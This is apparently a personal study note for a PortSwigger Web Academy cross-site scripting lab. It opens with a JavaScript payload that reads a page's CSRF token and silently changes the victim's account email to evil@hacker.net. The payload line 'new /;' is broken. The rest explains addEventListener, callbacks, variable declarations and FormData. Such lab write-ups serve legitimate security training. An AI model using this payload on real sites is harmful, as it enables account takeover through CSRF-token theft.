> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/xss/xss-contexts/lab-7.md).

# Lab 7

<figure><img src="/files/0URDcSsyLlXt9f3l7oO4" alt=""><figcaption></figcaption></figure>

```javascript
<script>
window.addEventListener('DOMContentLoaded', function(){
  var token = document.getElementsByName('csrf')[0].value;

  var data = new /;
  data.append('csrf', token);
  data.append('email', 'evil@hacker.net');

  fetch('/my-account/change-email', {
    method: 'POST',
    mode: 'no-cors',
    body: data
  });
});
</script>
```

<figure><img src="/files/NsFIsIXyf5Nb73x5CAcS" alt=""><figcaption></figcaption></figure>

Since we only see two parameters, we likely only need to create a FormData with these 2 parameters as the body.

The method `addEventListener()` works by adding a function, or an object that implements a `handleEvent()` function, to the list of event listeners for the specified event type on the [`EventTarget`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget) on which it's called. If the function or object is already in the list of event listeners for this target, the function or object is not added a second time. It has the syntax of this:

addEventListener(type, listener)\
addEventListener(type, listener, options)\
addEventListener(type, listener, useCapture)

"listener" needs to be a object that receives a notification (an object that implements the [`Event`](https://developer.mozilla.org/en-US/docs/Web/API/Event) interface) when an event of the specified type occurs. This must be `null`, an object with a `handleEvent()` method, or a JavaScript [function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions). See [The event listener callback](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#the_event_listener_callback) for details on the callback itself.

{% hint style="info" %}
"Type" needs to be a case-sensitive string representing the [event type](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Events) to listen for.
{% endhint %}

{% hint style="info" %}
"let" "var" and "const" are 3 ways to declare variables. var is pretty much let, but let doesn't let you redeclare the variable (but lets you reassing). Meanwhile, const doesn't let you change the object to reassign to something else (so like setting it equal to another variable won't work). That doesn't mean you change the contents of the object within const&#x20;
{% endhint %}

### What are Callback functions:

A **callback** is simply: **a function passed as an argument to another function, to be called later.** A callback function is intended to be executed later.

```
document.getElementById("myButton").addEventListener("click", displayDate); 
```

In the example above, `displayDate` is a callback function passed as an argument to the `addEventListener()` method. `displayDate` will be called when a user clicks the button with id="myButton".

In the example above, `displayDate` is a callback function passed as an argument to the `addEventListener()` method. `displayDate` will be called when a user clicks the button with id="myButton".

{% hint style="info" %}
When you pass a function as an argument, remember not to use parenthesis.

Right: displayDate

Wrong: displayDate()\
Passing the parenthesis **calls** the function *immediately*, right now, and whatever it *returns* gets passed to `addEventListener` instead&#x20;
{% endhint %}

### What is FormData()

`FormData` is a built-in browser object specifically designed to represent the data a normal HTML `<form>` would submit — as key-value pairs, formatted internally the exact same way a real form submission is: `multipart/form-data` encoding.

`FormData` on its own doesn't send anything anywhere. You still need `fetch()` (or `XMLHttpRequest`, or a real `<form>` submission) to actually transmit it:

When you pass a `FormData` object as `fetch`'s `body`, `fetch` automatically:

1. Serializes it into `multipart/form-data` format (the same wire format a real HTML form uses)
2. Sets the correct `Content-Type` header for you (including a random boundary string that separates each field) — you don't have to do this manually

`multipart/form-data` is a specific text format for encoding form fields in an HTTP request body — designed to handle both plain text fields and file uploads in a single request. <br>